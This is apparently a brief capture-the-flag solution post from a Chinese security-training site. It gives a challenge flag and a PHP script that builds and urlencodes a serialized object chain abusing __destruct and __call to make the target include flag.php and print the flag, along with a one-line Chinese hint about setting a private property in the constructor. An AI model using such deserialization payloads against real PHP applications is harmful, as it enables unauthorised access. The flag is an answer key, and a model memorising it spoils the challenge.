返回
1
0

Geesec{715dbd4e-923d-4a73-8a81-9c50d1d5c129}

iiice,2026-04-26 21:15
Plaintext
<?php class you { private $body; private $pro='yourname'; function __construct() { $this->body=new my(); } function __destruct() { $project=$this->pro; $this->body->$project(); } } class my { public $name='myname'; function __call($func, $args) { if ($func == 'yourname' and $this->name == 'myname') { include('flag.php'); echo $flag; } } } $a=new you(); echo urlencode(serialize($a)); ?>

利用__construct()方法来改变body私有属性的值。

暂无回复。你的想法是什么?


bottom-logo1
bottom-logo2captionbottom-logo3
GeeSec
商务合作
bottom-logo4